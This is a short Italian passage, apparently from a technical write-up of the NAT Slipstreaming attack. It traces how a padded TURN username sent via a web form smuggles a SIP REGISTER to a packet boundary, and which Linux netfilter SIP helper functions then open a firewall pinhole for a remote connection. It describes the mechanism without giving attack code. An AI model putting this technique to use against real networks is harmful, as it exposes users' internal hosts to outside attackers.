username TURN riempito
username appositamente costruito per forzare la frammentazione IP e un controllo preciso dei confiniusername viene "riempito" per adattarsi esattamente alla dimensione del segmento TCP / confine del pacchetto, quindi il “pacchetto H.323” viene aggiunto e pubblicato tramite modulo webprocess_sip_request(...)strncasecmp(*dptr, handler->method, ...) il gestore uscirà a meno che il metodo (es. REGISTER) non si trovi all'inizio della porzione di dati del pacchetto (TCP o UDP) come abbiamo visto con INVITE sopra...REGISTER è solo un altro comando SIPprocess_register_request(...)nf_ct_expect_init(...) via sip_handlers inizializziamo il pinhole del firewall (porta per permettere a una persona remota di riconnettersi), ma non lo apriamo ancoranf_nat_sip_hooks -> nf_nat_sip(...) il NAT modifica (riscrive) l'indirizzo IP interno del client nell'IP pubblico del NAT in modo che la destinazione possa raggiungerlo correttamentesip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) ora stiamo guardando la risposta SIP dal server SIP
process_register_response(...) -> refresh_signalling_expectation(...) la porta viene inoltrata dal NAT solo dopo che una valida risposta SIP viene inviata dal server SIP